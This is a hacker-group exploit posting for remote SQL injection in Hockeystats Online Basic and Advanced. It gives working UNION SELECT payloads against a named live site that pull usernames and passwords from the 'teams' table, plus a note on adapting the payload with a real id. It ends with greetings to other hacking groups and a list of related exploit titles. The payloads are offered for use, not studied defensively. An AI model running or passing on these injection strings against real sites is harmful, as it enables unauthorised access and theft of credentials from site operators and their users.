###############################################################

#################### Viva IslaM Viva IslaM ####################

##

## Remote SQL injection Vulnerability

##

## Hockeystats Online V BASIC & ADVANCED ( index.php opt )

##

###############################################################

###############################################################

##

## AuTh0r : Mr.SQL

##

## H0ME : WwW.PaL-HaCkEr.CoM && WwW.AtsDp.CoM/f

##

## Email : SQL@Hotmail.it

##

## SYRiAN Arab HACkErS

########################

########################

##

## -[[: L!VE DEMO :]]-

##

## [[BASIC VERSION]] www.thehockeystop.com/hstatsbasic/?opt=viewpage&type=html&id=-00002' union select 0,CONCAT_WS(0x3a3a,username,password)MrSQL,0,0,0,0,0 from teams/*

## www.thehockeystop.com/hstatsbasic/index.php?opt=schedule&season=1&divid=-1' union select 0,CONCAT_WS(0x3a3a,username,password)MrSQL from teams/*

##

## [[ADVANCED VERSION]] www.thehockeystop.com/hockeystats/?opt=viewpage&type=html&id=-00002' union select 0,CONCAT_WS(0x3a3a,username,password)MrSQL,0,0,0,0,0 from teams/*

## www.thehockeystop.com/hockeystats/index.php?opt=schedule&season=1&divid=-1' union select 0,CONCAT_WS(0x3a3a,username,password)MrSQL from teams/*

########################

########################

-[[ NOTE ]]-

1 ) In the first exploite you you need set the real id ?opt=viewpage&type=html&id=-< real id >' union select 0,CONCAT_WS(0x3a3a,username,password)MrSQL,0,0,0,0,0 from teams/*

2 ) Download [[Basic version]] code from here ;D http://www.thehockeystop.com/site/downloads/HSO_basic/HockeySTATS_Basic.zip

#######################################################################################################

#######################################################################################################

-(:: !Gr3E3E3E3E3E3E3TzZ! ::)-

:: HaCkEr_EGy :: His0k4 :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: milw0rm :: MuslimS HaCkErS ::

#######################################################################################################

#######################################################################################################

【HockeySTATS Online 2.0 Multiple Remote SQL Injection Vulnerabilities】相关文章：

★ fuzzylime cms 3.01 (commrss.php) Remote Code Execution Exploit

★ LoveCMS 1.6.2 Final Remote Code Execution Exploit

★ Boonex Dolphin 6.1.2 Multiple Remote File Inclusion Vulnerabilities

★ Joomla Component com_content 1.0.0 (ItemID) SQL Injection Vuln

★ Pars4U Videosharing V1 XSS / Remote Blind SQL Injection Exploit

★ Joomla Component n-forms 1.01 Blind SQL Injection Exploit

★ fuzzylime cms 3.01 (polladd.php poll) Remote Code Execution Exploit (php)

★ Quicksilver Forums 1.4.1 forums[] Remote SQL Injection Exploit

★ Million Pixels 3 (id_cat) Remote SQL Injection Vulnerability

★ IntelliTamper 2.0.7 (html parser) Remote Buffer Overflow Exploit